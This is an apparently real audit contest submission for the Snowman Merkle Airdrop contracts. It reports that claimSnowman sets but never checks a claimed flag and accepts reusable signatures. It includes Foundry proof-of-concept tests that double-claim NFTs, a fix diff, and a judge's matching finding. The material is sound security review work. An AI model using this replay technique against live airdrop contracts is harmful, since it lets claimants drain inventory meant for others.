Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: low
Valid

SnowmanAirdrop.claimSnowman claim flag set but never enforced

iff

Description

  • claimSnowman is meant to be a one-time airdrop claim: verify EIP-712 signature + Merkle proof for (receiver, amount), pull that Snow into the airdrop, mark the receiver as claimed, then mint Snowman NFTs equal to the staked amount.

  • The contract writes s_hasClaimedSnowman[receiver] = true and exposes getClaimStatus, but claimSnowman never requires an unclaimed status. The signature also has no nonce/deadline. After Snow is pulled, restoring the same leaf balance lets the same proof + signature succeed again and mint more NFTs.

// SnowmanAirdrop.sol — claimSnowman
mapping(address => bool) private s_hasClaimedSnowman;
​
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
// ... zero checks, signature, Merkle verify ...
​
i_snow.safeTransferFrom(receiver, address(this), amount);
​
// @> claim flag written but never required before this path
s_hasClaimedSnowman[receiver] = true;
​
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}
​
function getClaimStatus(address claimant) external view returns (bool) {
return s_hasClaimedSnowman[claimant]; // view-only; unused by claimSnowman
}

Risk

Likelihood:

  • A receiver who already claimed can buy/earn Snow back to the exact Merkle leaf amount and call claimSnowman again with the same proof and EIP-712 signature — no claim-status gate blocks it.

  • The signature is reusable indefinitely for that (receiver, amount) pair (no nonce/deadline), so replay stays available for the life of the airdrop.

Impact:

  • Eligible receivers mint Snowman NFTs more than once, breaking one-claim-per-receiver scarcity.

  • Airdrop inventory and incentives are diluted; claim status reported by getClaimStatus does not match enforceable on-chain uniqueness.

Proof of Concept

Inspect-only (no exploit script):

  • s_hasClaimedSnowman[receiver] = true is set after a successful claim.

  • claimSnowman has no require(!s_hasClaimedSnowman[receiver]) (or equivalent) before effects.

  • getClaimStatus only reads the mapping; it is not used as a claim gate.

  • Signature verification recovers receiver with no nonce/deadline binding.

Judges can confirm by reading claimSnowman end-to-end against getClaimStatus.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
​
import {Test} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {Helper} from "../script/Helper.s.sol";
​
/// @notice PoC: `claimSnowman` writes `s_hasClaimedSnowman` but never checks it.
contract I2_ClaimFlagNotEnforced is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
​
address alice;
uint256 alKey;
​
// Alice's Merkle leaf is (alice, 1). The same proof is reused on every claim.
bytes32 alProofA = 0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52;
bytes32 alProofB = 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af;
bytes32 alProofC = 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1;
bytes32[] AL_PROOF = [alProofA, alProofB, alProofC];
​
function setUp() public {
(airdrop, snow, nft,) = new Helper().run();
(alice, alKey) = makeAddrAndKey("alice");
vm.deal(alice, 10 ether);
}
​
function test_sameReceiverCanClaimTwiceWithSameProofAndSignature() public {
// 1. Alice already holds 1 Snow (the Merkle leaf amount). Sign once.
assertEq(snow.balanceOf(alice), 1);
assertFalse(airdrop.getClaimStatus(alice));
​
bytes32 digest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, digest);
​
vm.startPrank(alice);
snow.approve(address(airdrop), 1);
​
// 2. First claim succeeds and mints 1 NFT. The claimed flag is set.
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
vm.stopPrank();
​
assertEq(nft.balanceOf(alice), 1);
assertTrue(airdrop.getClaimStatus(alice));
​
// 3. Alice buys 1 Snow again so her balance still matches the leaf (alice, 1).
uint256 fee = snow.s_buyFee();
vm.startPrank(alice);
snow.buySnow{value: fee}(1);
snow.approve(address(airdrop), 1);
​
// 4. Same proof + signature work again: claimSnowman never reads the flag.
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
vm.stopPrank();
​
assertEq(nft.balanceOf(alice), 2);
assertEq(nft.ownerOf(0), alice);
assertEq(nft.ownerOf(1), alice);
}
}
​

Recommended Mitigation

Optionally add an EIP-712 nonce (and/or deadline) so signatures are single-use even if claim-status logic regresses.

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed(); // add this error
+ }
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
// ... signature + Merkle checks, then effects ...
}
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!